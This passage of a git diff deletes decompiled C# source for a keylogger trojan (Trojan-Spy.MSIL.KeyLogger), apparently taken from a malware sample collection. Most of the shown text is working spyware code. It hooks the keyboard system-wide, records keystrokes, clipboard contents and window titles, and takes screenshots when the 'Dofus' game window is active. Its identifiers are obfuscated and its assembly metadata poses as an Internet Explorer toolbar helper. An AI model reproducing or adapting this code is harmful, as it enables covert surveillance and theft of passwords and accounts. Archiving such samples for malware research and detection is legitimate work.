DEBUT LIGNE]", "[SLCT DEBUT LIGNE-CURSEUR]", "[DEBUT DOCUMENT]"); - this.Kc.Add(37, "[←]", "[SLCT GAUCHE]", "[DPL GAUCHE PAR GROUPE]", Ret_Alt: "[DPL GAUCHE PAR GROUPE]"); - this.Kc.Add(38, "[↑]", "[SLCT HAUT]"); - this.Kc.Add(39, "[→]", "[SLCT DROITE]", "[DPL DROITE PAR GROUPE]", Ret_Alt: "[DPL DROITE PAR GROUPE]"); - this.Kc.Add(40, "[↓]", "[SLCT BAS]"); - this.Kc.Add(41, "[SELECTION]"); - this.Kc.Add(42, "[IMRPIMER"); - this.Kc.Add(43, "[EXECUTER]"); - this.Kc.Add(44, "[IMPRIM ECRAN]", Ret_Alt: "[SCREENSHOT FENETRE EN COURS]"); - this.Kc.Add(45, "[INSERER]", "[INSERER PRESSE PAPIER]"); - this.Kc.Add(46, "[SUPPRIMER]", "[SUPPRIMER ← OU SUPPRIMER FICHIER]", "[SUPPRIMER RESTE DE LA LIGNE]", "[GESTIONNAIRE DE TACHES]"); - this.Kc.Add(47, "[AIDE]"); - this.Kc.Add(48, "à", "0", Ret_AltGr: "@", Ret_AccTrans: 1); - this.Kc.Add(49, "&", "1", Ret_AccTrans: 1); - this.Kc.Add(50, "é", "2", Ret_AltGr: "~", Ret_AccTrans: 1); - this.Kc.Add(51, "\"", "3", Ret_AltGr: "#", Ret_AccTrans: 1); - this.Kc.Add(52, "'", "4", Ret_AltGr: "{", Ret_AccTrans: 1); - this.Kc.Add(53, "(", "5", Ret_AltGr: "[", Ret_AccTrans: 1); - this.Kc.Add(54, "-", "6", Ret_AltGr: "|", Ret_AccTrans: 1); - this.Kc.Add(55, "è", "7", Ret_AltGr: "`", Ret_AccTrans: 1); - this.Kc.Add(56, "_", "8", Ret_AltGr: "\\", Ret_AccTrans: 1); - this.Kc.Add(57, "ç", "9", Ret_AltGr: "^", Ret_AccTrans: 1); - this.Kc.Add(58); - this.Kc.Add(59); - this.Kc.Add(60); - this.Kc.Add(61); - this.Kc.Add(62); - this.Kc.Add(63); - this.Kc.Add(64); - this.Kc.Add(65, "a", "A", "[SELECTIONNER TOUT]", Ret_AccTrans: 2); - this.Kc.Add(66, "b", "B", "[ORGANISER FAVORIS]", Ret_AccTrans: 1); - this.Kc.Add(67, "c", "C", "[COPIER]", Ret_AccTrans: 1); - this.Kc.Add(68, "d", "D", Ret_Win: "[REDUIRE TOUT]", Ret_AccTrans: 1); - this.Kc.Add(69, "e", "E", Ret_Win: "[EXPLORATEUR]", Ret_AccTrans: 2); - this.Kc.Add(70, "f", "F", "[RECHERCHER]", Ret_Win: "[RECHERCHER]", Ret_WinCtrl: "[RECHERCHER UN PC]", Ret_AccTrans: 1); - this.Kc.Add(71, "g", "G", Ret_AccTrans: 1); - this.Kc.Add(72, "h", "H", "[REMPLACER]", Ret_AccTrans: 1); - this.Kc.Add(73, "i", "I", Ret_AccTrans: 2); - this.Kc.Add(74, "j", "J", Ret_AccTrans: 1); - this.Kc.Add(75, "k", "K", Ret_AccTrans: 1); - this.Kc.Add(76, "l", "L", Ret_Win: "[VERROUILLER SESSION]", Ret_AccTrans: 1); - this.Kc.Add(77, "m", "M", Ret_Win: "[REDUIRE TOUT]", Ret_WinShft: "[RESTAURER TOUT]", Ret_AccTrans: 1); - this.Kc.Add(78, "n", "N", "[NOUVEAU]", Ret_AccTrans: 2); - this.Kc.Add(79, "o", "O", "[OUVRIR]", Ret_AccTrans: 2); - this.Kc.Add(80, "p", "P", "[IMPRIMER]", Ret_AccTrans: 1); - this.Kc.Add(81, "q", "Q", Ret_AccTrans: 1); - this.Kc.Add(82, "r", "R", Ret_Win: "[EXECUTER]", Ret_AccTrans: 1); - this.Kc.Add(83, "s", "S", "[ENREGISTRER]", Ret_AccTrans: 1); - this.Kc.Add(84, "t", "T", Ret_AccTrans: 1); - this.Kc.Add(85, "u", "U", Ret_Win: "[GESTIONNAIRE UTILS]", Ret_AccTrans: 2); - this.Kc.Add(86, "v", "V", Clipboard.GetText(), Ret_AccTrans: 1); - this.Kc.Add(87, "w", "W", "[FERMER]", Ret_AccTrans: 1); - this.Kc.Add(88, "x", "X", "[COUPER]", Ret_Win: "[CENTRE MOBILITE]", Ret_AccTrans: 1); - this.Kc.Add(89, "y", "Y", "[RETABLIR]", Ret_AccTrans: 1); - this.Kc.Add(90, "z", "Z", "[ANNULER]", Ret_AccTrans: 1); - this.Kc.Add(91, "[WIN GAUCHE]"); - this.Kc.Add(92, "[WIN DROITE]"); - this.Kc.Add(93, "[APPLICATION]"); - this.Kc.Add(94); - this.Kc.Add(95, "[VEILLE]"); - this.Kc.Add(96, "0", Ret_AccTrans: 1); - this.Kc.Add(97, "1", Ret_AccTrans: 1); - this.Kc.Add(98, "2", Ret_AccTrans: 1); - this.Kc.Add(99, "3", Ret_AccTrans: 1); - this.Kc.Add(100, "4", Ret_AccTrans: 1); - this.Kc.Add(101, "5", Ret_AccTrans: 1); - this.Kc.Add(102, "6", Ret_AccTrans: 1); - this.Kc.Add(103, "7", Ret_AccTrans: 1); - this.Kc.Add(104, "8", Ret_AccTrans: 1); - this.Kc.Add(105, "9", Ret_AccTrans: 1); - this.Kc.Add(106, "*", Ret_AccTrans: 1); - this.Kc.Add(107, "+", Ret_AccTrans: 1); - this.Kc.Add(108, "[SEPARATEUR]", Ret_AccTrans: 1); - this.Kc.Add(109, "-", Ret_AccTrans: 1); - this.Kc.Add(110, ".", Ret_AccTrans: 1); - this.Kc.Add(111, "/", Ret_AccTrans: 1); - this.Kc.Add(112, "[AIDE (F1)]", Ret_Win: "[AIDE WINDOWS (ALT+F1)]"); - this.Kc.Add(113, "[RENOMMER (F2)]"); - this.Kc.Add(114, "[RECHERCHER (F3)]"); - this.Kc.Add(115, "[F4]", Ret_Alt: "[FERMER PROGRAMME (ALT+F4)]"); - this.Kc.Add(116, "[RAFRAICHIR (F5)]"); - this.Kc.Add(117, "[F6]"); - this.Kc.Add(118, "[F7]"); - this.Kc.Add(119, "[F8]"); - this.Kc.Add(120, "[F9]"); - this.Kc.Add(121, "[ACTIVER BARRE MENU (F10)]"); - this.Kc.Add(122, "[F11]"); - this.Kc.Add(123, "[F12]"); - this.Kc.Add(124, "[F13]"); - this.Kc.Add(125, "[F14]"); - this.Kc.Add(126, "[F15]"); - this.Kc.Add((int) sbyte.MaxValue, "[F16]"); - this.Kc.Add(128, "[F17]"); - this.Kc.Add(129, "[F18]"); - this.Kc.Add(130, "[F19]"); - this.Kc.Add(131, "[F20]"); - this.Kc.Add(132, "[F21]"); - this.Kc.Add(133, "[F22]"); - this.Kc.Add(134, "[F23]"); - this.Kc.Add(135, "[F24]"); - this.Kc.Add(136); - this.Kc.Add(137); - this.Kc.Add(138); - this.Kc.Add(139); - this.Kc.Add(140); - this.Kc.Add(141); - this.Kc.Add(142); - this.Kc.Add(143); - this.Kc.Add(144, "[VERR NUM]"); - this.Kc.Add(145, "[ARRET DEFIL]"); - this.Kc.Add(146); - this.Kc.Add(147); - this.Kc.Add(148); - this.Kc.Add(149); - this.Kc.Add(150); - this.Kc.Add(151); - this.Kc.Add(152); - this.Kc.Add(153); - this.Kc.Add(154); - this.Kc.Add(155); - this.Kc.Add(156); - this.Kc.Add(157); - this.Kc.Add(158); - this.Kc.Add(159); - this.Kc.Add(160, "[SHIFT GAUCHE]"); - this.Kc.Add(161, "[SHIFT DROITE]"); - this.Kc.Add(162, "[CONTROL GAUCHE]"); - this.Kc.Add(163, "[CONTROL DROITE]"); - this.Kc.Add(164, "[ALT GAUCHE]"); - this.Kc.Add(165, "[ALT DROITE]"); - this.Kc.Add(166, "[NAVIG +]"); - this.Kc.Add(167, "[NAVIG -]"); - this.Kc.Add(168, "[NAVIG RAFRAICHIR]"); - this.Kc.Add(169, "[NAVIG STOP]"); - this.Kc.Add(170, "[NAVIG RECHERCHER]"); - this.Kc.Add(171, "[NAVIG FAVORIS]"); - this.Kc.Add(172, "[NAVIG HOME]"); - this.Kc.Add(173, "[COUPER SON]"); - this.Kc.Add(174, "[VOL -]"); - this.Kc.Add(175, "[VOL +]"); - this.Kc.Add(176, "[PISTE +]"); - this.Kc.Add(177, "[PISTE -]"); - this.Kc.Add(178, "[STOP]"); - this.Kc.Add(179, "[MARCHE/PAUSE]"); - this.Kc.Add(180, "[MAIL]"); - this.Kc.Add(181, "[MEDIA]"); - this.Kc.Add(182, "[APPLICATION 1]"); - this.Kc.Add(183, "[APPLICATION 2]"); - this.Kc.Add(184); - this.Kc.Add(185); - this.Kc.Add(186, "$", "£", Ret_AltGr: "¤", Ret_AccTrans: 1); - this.Kc.Add(187, "=", "+", Ret_AltGr: "}", Ret_AccTrans: 1); - this.Kc.Add(188, ",", "?", Ret_AccTrans: 1); - this.Kc.Add(189); - this.Kc.Add(190, ";", ".", Ret_AccTrans: 1); - this.Kc.Add(191, ":", "/", Ret_AccTrans: 1); - this.Kc.Add(192, "ù", "%", Ret_AccTrans: 1); - this.Kc.Add(193); - this.Kc.Add(194); - this.Kc.Add(195); - this.Kc.Add(196); - this.Kc.Add(197); - this.Kc.Add(198); - this.Kc.Add(199); - this.Kc.Add(200); - this.Kc.Add(201); - this.Kc.Add(202); - this.Kc.Add(203); - this.Kc.Add(204); - this.Kc.Add(205); - this.Kc.Add(206); - this.Kc.Add(207); - this.Kc.Add(208); - this.Kc.Add(209); - this.Kc.Add(210); - this.Kc.Add(211); - this.Kc.Add(212); - this.Kc.Add(213); - this.Kc.Add(214); - this.Kc.Add(215); - this.Kc.Add(216); - this.Kc.Add(217); - this.Kc.Add(218); - this.Kc.Add(219, ")", "°", Ret_AltGr: "]", Ret_AccTrans: 1); - this.Kc.Add(220, "*", "µ", Ret_AccTrans: 1); - this.Kc.Add(221, "^", "¨", Ret_AccTrans: 1); - this.Kc.Add(222); - this.Kc.Add(223, "!", "§", Ret_AccTrans: 1); - this.Kc.Add(224); - this.Kc.Add(225); - this.Kc.Add(226, "<", ">", Ret_AccTrans: 1); - this.Kc.Add(227); - this.Kc.Add(228); - this.Kc.Add(229, "[PROCESS]"); - this.Kc.Add(230); - this.Kc.Add(231); - this.Kc.Add(232); - this.Kc.Add(233); - this.Kc.Add(234); - this.Kc.Add(235); - this.Kc.Add(236); - this.Kc.Add(237); - this.Kc.Add(238); - this.Kc.Add(239); - this.Kc.Add(240); - this.Kc.Add(241); - this.Kc.Add(242); - this.Kc.Add(243); - this.Kc.Add(244); - this.Kc.Add(245); - this.Kc.Add(246, "[ATTN]"); - this.Kc.Add(247, "[CRSEL]"); - this.Kc.Add(248, "[EXSEL]"); - this.Kc.Add(249, "[ERASE EOF]"); - this.Kc.Add(250, "[PLAY]"); - this.Kc.Add(251, "[ZOOM]"); - this.Kc.Add(252); - this.Kc.Add(253); - this.Kc.Add(254, "[CLEAR]"); - this.Kc.Add((int) byte.MaxValue); - } - - public object Hooked() => (object) (this.hrhrthrthrhvcazxascby != (IntPtr) 0); - - private void Flood() - { - } - - public int gergergerergesdhryfythtyh( - int Code, - int wParam, - ref huhuhuiifyuhuyufuf.KBDLLHOOKSTRUCT lParam) - { - this.poijhyiuytiuytjuhygiuyoiuyiuyt = ""; - string activeWindowTitle = this.GetActiveWindowTitle(); - if (Operators.CompareString(activeWindowTitle, this.vvdfvdbdfbdfhbhgnh, false) != 0) - { - this.vvdfvdbdfbdfhbhgnh = activeWindowTitle; - this.poijhyiuytiuytjuhygiuyoiuyiuyt = "\r\n\r\n (============ " + activeWindowTitle + " =========) (----- " + DateAndTime.Now.ToString() + " ------)\r\n"; - if (Operators.CompareString(activeWindowTitle, "Dofus", false) == 0) - MyProject.Forms.Form1.takescreen(); - if (Operators.CompareString(activeWindowTitle, "dofus", false) != 0) - ; - } - string str = ""; - if (wParam == (int) this.fzezeeffzezeffz | wParam == this.hhtrthrttrrhhtrtrhrthhtrh) - { - switch (lParam.gregegegr) - { - case 20: - if (!this.CapsT) - this.Caps = !this.Caps; - this.CapsT = true; - break; - case 91: - this.Lwin = true; - break; - case 92: - this.RWin = true; - break; - case 160: - this.sdfghjksdfghjkdfghjk = true; - break; - case 161: - this.RShggggggft = true; - break; - case 162: - this.RChrrtthrthrthrhtrl = true; - break; - case 163: - this.LkjhjhkjhlkjhlhlkCtrl = true; - break; - case 164: - this.Alt = true; - break; - case 165: - this.AltGr = true; - break; - } - } - if (wParam == this.gergegergeeger | wParam == this.gregrergergergerge) - { - switch (lParam.gregegegr) - { - case 20: - this.CapsT = false; - break; - case 91: - this.Lwin = false; - break; - case 92: - this.RWin = false; - break; - case 160: - this.sdfghjksdfghjkdfghjk = false; - break; - case 161: - this.RShggggggft = false; - break; - case 162: - this.RChrrtthrthrthrhtrl = false; - break; - case 163: - this.LkjhjhkjhlkjhlhlkCtrl = false; - break; - case 164: - this.Alt = false; - if (this.Acde.Length > 0) - { - int integer = Conversions.ToInteger(this.Acde); - int num; - if (Operators.CompareString(Conversions.ToString(this.Acde[0]), "0", false) == 0) - { - int result; - num = Math.DivRem(integer, 256, out result); - str = this.AsciiT[checked (result + 256), 1]; - } - else - { - int result; - num = Math.DivRem(integer, 256, out result); - str = this.AsciiT[result, 1]; - } - } - this.Acde = ""; - break; - case 165: - this.AltGr = false; - break; - } - } - this.Cthfghfhfghgfrl = this.LkjhjhkjhlkjhlhlkCtrl | this.RChrrtthrthrthrhtrl; - this.Shft = this.sdfghjksdfghjkdfghjk | this.RShggggggft; - this.Win = this.Lwin | this.RWin; - if (this.Cthfghfhfghgfrl & this.Alt) - this.AltGr = true; - if (wParam == (int) this.fzezeeffzezeffz | wParam == this.hhtrthrttrrhhtrtrhrthhtrh) - { - bool capsLock = MyProject.Computer.Keyboard.CapsLock; - if (!this.Cthfghfhfghgfrl & !this.Alt & !this.Shft & !this.Win & !this.AltGr) - str = !capsLock ? this.Kc.get_Item(lParam.gregegegr).Ret_Base : this.Kc.get_Item(lParam.gregegegr).Ret_Base.ToUpper(); - if (this.Cthfghfhfghgfrl & !this.Alt & !this.Shft & !this.Win & !this.AltGr) - str = this.Kc.get_Item(lParam.gregegegr).Ret_Ctrl; - if (!this.Cthfghfhfghgfrl & !this.Alt & this.Shft & !this.Win & !this.AltGr) - str = !capsLock ? this.Kc.get_Item(lParam.gregegegr).Ret_Shft : this.Kc.get_Item(lParam.gregegegr).Ret_Base; - if (this.AltGr & (this.Cthfghfhfghgfrl | this.Alt) & !this.Win & !this.Shft) - str = this.Kc.get_Item(lParam.gregegegr).Ret_AltGr; - if (this.Win & !this.Cthfghfhfghgfrl & !this.Shft & !this.Alt & !this.AltGr) - str = this.Kc.get_Item(lParam.gregegegr).Ret_Win; - if (this.Alt & !this.Cthfghfhfghgfrl & !this.Shft & !this.AltGr & !this.Win) - { - string retBase = this.Kc.get_Item(lParam.gregegegr).Ret_Base; - if (retBase.Length != 0 && Strings.Asc(retBase) >= 48 & Strings.Asc(retBase) <= 57 && this.Alt) - this.Acde += retBase; - str = this.Kc.get_Item(lParam.gregegegr).Ret_Alt; - } - if (this.Acct != char.MinValue) - str = this.GetAccent(str, lParam.gregegegr, this.Kc.get_Item(lParam.gregegegr).Ret_AccTrans); - if (Operators.CompareString(str, "^", false) == 0 | Operators.CompareString(str, "¨", false) == 0 | Operators.CompareString(str, "~", false) == 0 | Operators.CompareString(str, "`", false) == 0) - { - this.Acct = Conversions.ToChar(str); - str = ""; - } - } - this.tretetetergvyhyujfverg = this.tretetetergvyhyujfverg + this.poijhyiuytiuytjuhygiuyoiuyiuyt + str; - return huhuhuiifyuhuyufuf.CallNextHookEx((int) this.hrhrthrthrhvcazxascby, Code, wParam, lParam); - } - - private string GetAccent(string Skey, int Code, int Ac) - { - string[,] strArray = new string[12, 4] - { - { - "â", - "ä", - "ã", - "à" - }, - { - "ê", - "ë", - "~e", - "è" - }, - { - "î", - "ï", - "~i", - "ì" - }, - { - "ô", - "ö", - "õ", - "ò" - }, - { - "û", - "ü", - "~u", - "ù" - }, - { - "Â", - "Ä", - "Ã", - "À" - }, - { - "Ê", - "Ë", - "~E", - "È" - }, - { - "Î", - "Ï", - "~I", - "Ì" - }, - { - "Ô", - "Ö", - "Õ", - "Ò" - }, - { - "Û", - "Ü", - "~U", - "Ù" - }, - { - "^n", - "¨n", - "ñ", - "`n" - }, - { - "^N", - "¨N", - "Ñ", - "`N" - } - }; - bool flag; - if (Operators.CompareString(Skey, "^", false) == 0 | Operators.CompareString(Skey, "¨", false) == 0 | Operators.CompareString(Skey, "~", false) == 0 | Operators.CompareString(Skey, "`", false) == 0) - { - flag = true; - string accent = Conversions.ToString(this.Acct) + Skey; - this.Acct = char.MinValue; - return accent; - } - int index; - switch (this.Acct) - { - case '^': - index = 0; - break; - case '`': - index = 3; - break; - case '~': - index = 2; - break; - case '¨': - index = 1; - break; - } - switch (Ac) - { - case 0: - return Skey; - case 1: - string accent1 = Conversions.ToString(this.Acct) + Skey; - this.Acct = char.MinValue; - flag = true; - return accent1; - case 2: - string Left = Skey; - if (Operators.CompareString(Left, "a", false) == 0) - { - this.Acct = char.MinValue; - return strArray[0, index]; - } - if (Operators.CompareString(Left, "e", false) == 0) - { - this.Acct = char.MinValue; - return strArray[1, index]; - } - if (Operators.CompareString(Left, "i", false) == 0) - { - this.Acct = char.MinValue; - return strArray[2, index]; - } - if (Operators.CompareString(Left, "o", false) == 0) - { - this.Acct = char.MinValue; - return strArray[3, index]; - } - if (Operators.CompareString(Left, "u", false) == 0) - { - this.Acct = char.MinValue; - return strArray[4, index]; - } - if (Operators.CompareString(Left, "A", false) == 0) - { - this.Acct = char.MinValue; - return strArray[5, index]; - } - if (Operators.CompareString(Left, "E", false) == 0) - { - this.Acct = char.MinValue; - return strArray[6, index]; - } - if (Operators.CompareString(Left, "I", false) == 0) - { - this.Acct = char.MinValue; - return strArray[7, index]; - } - if (Operators.CompareString(Left, "O", false) == 0) - { - this.Acct = char.MinValue; - return strArray[8, index]; - } - if (Operators.CompareString(Left, "U", false) == 0) - { - this.Acct = char.MinValue; - return strArray[9, index]; - } - if (Operators.CompareString(Left, "n", false) == 0) - { - this.Acct = char.MinValue; - return strArray[10, index]; - } - if (Operators.CompareString(Left, "N", false) == 0) - { - this.Acct = char.MinValue; - return strArray[11, index]; - } - break; - } - return ""; - } - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - huhuhuiifyuhuyufuf.GetWindowText(huhuhuiifyuhuyufuf.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - public void UnhookKeyboard() - { - if (huhuhuiifyuhuyufuf.UnhookWindowsHookEx((int) this.hrhrthrthrhvcazxascby) == 0) - return; - this.hrhrthrthrhvcazxascby = (IntPtr) 0; - } - - public void HookKeyboard() - { - this.callbjhgkjhgkjhgjhgjhgjhgack = new huhuhuiifyuhuyufuf.KeyboardHookDelegate(this.gergergerergesdhryfythtyh); - this.hrhrthrthrhvcazxascby = (IntPtr) huhuhuiifyuhuyufuf.SetWindowsHookEx(13, this.callbjhgkjhgkjhgjhgjhgjhgack, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - } - - private delegate int KeyboardHookDelegate( - int Code, - int wParam, - ref huhuhuiifyuhuyufuf.KBDLLHOOKSTRUCT lParam); - - public struct KBDLLHOOKSTRUCT - { - public int gregegegr; - public int scanfezfzfzfzefzefCode; - public int flagfzfzfzfefs; - public int timdddzddzde; - public int dwExtfzffzfzzefzefraInfo; - } - - private class KeyCode - { - private int _kCode; - private string _kShft; - private string _kBase; - private string _kCtrl; - private string _kAlt; - private string _kWin; - private string _kAltGr; - private string _kWinShft; - private string _kWinCtrl; - private string _kAltShft; - private string _kAltCtrl; - private int _kAccTrans; - - public int Code - { - get => this._kCode; - set => this._kCode = value; - } - - public string Ret_Shft - { - get => this._kShft; - set => this._kShft = value; - } - - public string Ret_Base - { - get => this._kBase; - set => this._kBase = value; - } - - public string Ret_Ctrl - { - get => this._kCtrl; - set => this._kCtrl = value; - } - - public string Ret_Alt - { - get => this._kAlt; - set => this._kAlt = value; - } - - public string Ret_Win - { - get => this._kWin; - set => this._kWin = value; - } - - public string Ret_AltGr - { - get => this._kAltGr; - set => this._kAltGr = value; - } - - public string Ret_WinShft - { - get => this._kWinShft; - set => this._kWinShft = value; - } - - public string Ret_WinCtrl - { - get => this._kWinCtrl; - set => this._kWinCtrl = value; - } - - public string Ret_AltShft - { - get => this._kAltShft; - set => this._kAltShft = value; - } - - public int Ret_AccTrans - { - get => this._kAccTrans; - set => this._kAccTrans = value; - } - - public KeyCode( - int kCode, - string kBase = "", - string kShft = "", - string kCtrl = "", - string kAlt = "", - string kWin = "", - string kAltGr = "", - string kWinShft = "", - string kWinCtrl = "", - string kAltShft = "", - int kAccTrans = 0) - { - this.Code = kCode; - this.Ret_Shft = kShft; - this.Ret_Base = kBase; - this.Ret_Ctrl = kCtrl; - this.Ret_Alt = kAlt; - this.Ret_Win = kWin; - this.Ret_AltGr = kAltGr; - this.Ret_WinShft = kWinShft; - this.Ret_WinCtrl = kWinCtrl; - this.Ret_AltShft = kAltShft; - this.Ret_AccTrans = kAccTrans; - } - } - - private class Keycodes - { - private ArrayList Table; - - public Keycodes() => this.Table = new ArrayList(); - - public huhuhuiifyuhuyufuf.KeyCode Add( - int Code, - string Ret_Base = "", - string Ret_Shft = "", - string Ret_Ctrl = "", - string Ret_AltGr = "", - string Ret_Alt = "", - string Ret_Win = "", - string Ret_WinShft = "", - string Ret_WinCtrl = "", - string Ret_AltShft = "", - int Ret_AccTrans = 0) - { - huhuhuiifyuhuyufuf.KeyCode keyCode = new huhuhuiifyuhuyufuf.KeyCode(Code, Ret_Base, Ret_Shft, Ret_Ctrl, Ret_Alt, Ret_Win, Ret_AltGr, Ret_WinShft, Ret_WinCtrl, Ret_AltShft, Ret_AccTrans); - this.Table.Add((object) keyCode); - return keyCode; - } - - public huhuhuiifyuhuyufuf.KeyCode get_Item(int lIndex) => (huhuhuiifyuhuyufuf.KeyCode) this.Table[lIndex]; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/AssemblyInfo.cs deleted file mode 100644 index 1f7e2f12..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: ComVisible(false)] -[assembly: AssemblyProduct("Internet Explorer Tools Barws")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © Internet Explorer AMX Stduio")] -[assembly: Guid("0d8e8533-5c9c-4456-a75a-078a8ab5906a")] -[assembly: AssemblyCompany("Internet Explorer Tools Helper Change")] -[assembly: AssemblyDescription("Toolbar Helper İnternet")] -[assembly: AssemblyTitle("Internet Explorer Toolbar Helper")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Form1.cs deleted file mode 100644 index 02c78bcf..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Form1.cs +++ /dev/null @@ -1,2892 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ToolsHelper.Form1 -// Assembly: InternetExplorerToolsHelper, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 16EA3E46-9F67-4C50-915F-D62CEFEE196A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Threading; -using System.Web.Mail; -using System.Windows.Forms; -using ToolsHelper.My; - -namespace ToolsHelper -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("GroupBox1")] - private GroupBox _GroupBox1; - [AccessedThroughProperty("TextBox1")] - private TextBox _TextBox1; - [AccessedThroughProperty("Label2")] - private Label _Label2; - [AccessedThroughProperty("Label1")] - private Label _Label1; - [AccessedThroughProperty("GroupBox2")] - private GroupBox _GroupBox2; - [AccessedThroughProperty("Label4")] - private Label _Label4; - [AccessedThroughProperty("TextBox2")] - private TextBox _TextBox2; - [AccessedThroughProperty("PictureBox1")] - private PictureBox _PictureBox1; - [AccessedThroughProperty("PictureBox2")] - private PictureBox _PictureBox2; - [AccessedThroughProperty("PictureBox3")] - private PictureBox _PictureBox3; - [AccessedThroughProperty("PictureBox4")] - private PictureBox _PictureBox4; - [AccessedThroughProperty("PictureBox5")] - private PictureBox _PictureBox5; - [AccessedThroughProperty("PictureBox6")] - private PictureBox _PictureBox6; - [AccessedThroughProperty("PictureBox7")] - private PictureBox _PictureBox7; - [AccessedThroughProperty("Label5")] - private Label _Label5; - [AccessedThroughProperty("Label6")] - private Label _Label6; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("Label9")] - private Label _Label9; - [AccessedThroughProperty("Label11")] - private Label _Label11; - [AccessedThroughProperty("Label7")] - private Label _Label7; - [AccessedThroughProperty("Label8")] - private Label _Label8; - [AccessedThroughProperty("GroupBox3")] - private GroupBox _GroupBox3; - [AccessedThroughProperty("Button1")] - private Button _Button1; - [AccessedThroughProperty("Label3")] - private Label _Label3; - [AccessedThroughProperty("Label10")] - private Label _Label10; - [AccessedThroughProperty("GroupBox4")] - private GroupBox _GroupBox4; - [AccessedThroughProperty("Button15")] - private Button _Button15; - [AccessedThroughProperty("Button16")] - private Button _Button16; - [AccessedThroughProperty("Button17")] - private Button _Button17; - [AccessedThroughProperty("Button18")] - private Button _Button18; - [AccessedThroughProperty("Button9")] - private Button _Button9; - [AccessedThroughProperty("Button10")] - private Button _Button10; - [AccessedThroughProperty("Button11")] - private Button _Button11; - [AccessedThroughProperty("Button12")] - private Button _Button12; - [AccessedThroughProperty("Button13")] - private Button _Button13; - [AccessedThroughProperty("Button14")] - private Button _Button14; - [AccessedThroughProperty("Button6")] - private Button _Button6; - [AccessedThroughProperty("Button7")] - private Button _Button7; - [AccessedThroughProperty("Button8")] - private Button _Button8; - [AccessedThroughProperty("Button5")] - private Button _Button5; - [AccessedThroughProperty("Button4")] - private Button _Button4; - [AccessedThroughProperty("Button3")] - private Button _Button3; - [AccessedThroughProperty("Button2")] - private Button _Button2; - [AccessedThroughProperty("GroupBox5")] - private GroupBox _GroupBox5; - [AccessedThroughProperty("Button19")] - private Button _Button19; - [AccessedThroughProperty("GroupBox6")] - private GroupBox _GroupBox6; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Label12")] - private Label _Label12; - [AccessedThroughProperty("Label13")] - private Label _Label13; - [AccessedThroughProperty("Label14")] - private Label _Label14; - [AccessedThroughProperty("Label15")] - private Label _Label15; - [AccessedThroughProperty("Label16")] - private Label _Label16; - [AccessedThroughProperty("Label17")] - private Label _Label17; - [AccessedThroughProperty("c1")] - private Label _c1; - [AccessedThroughProperty("x999")] - private Label _x999; - [AccessedThroughProperty("o0000")] - private Label _o0000; - [AccessedThroughProperty("zazazaza2323")] - private Label _zazazaza2323; - [AccessedThroughProperty("mynet")] - private Label _mynet; - [AccessedThroughProperty("sensin")] - private GroupBox _sensin; - [AccessedThroughProperty("benim")] - private Label _benim; - [AccessedThroughProperty("a777")] - private Label _a777; - [AccessedThroughProperty("TextBox3")] - private TextBox _TextBox3; - [AccessedThroughProperty("TextBox4")] - private TextBox _TextBox4; - [AccessedThroughProperty("TextBox5")] - private TextBox _TextBox5; - [AccessedThroughProperty("K")] - private Keyboard _K; - private int a; - private string strin; - private const short VK_SNAPSHOT = 44; - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.K = new Keyboard(); - this.a = 1; - this.strin = (string) null; - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.GroupBox1 = new GroupBox(); - this.TextBox1 = new TextBox(); - this.PictureBox4 = new PictureBox(); - this.PictureBox1 = new PictureBox(); - this.PictureBox2 = new PictureBox(); - this.PictureBox3 = new PictureBox(); - this.PictureBox7 = new PictureBox(); - this.PictureBox5 = new PictureBox(); - this.PictureBox6 = new PictureBox(); - this.Label2 = new Label(); - this.Label1 = 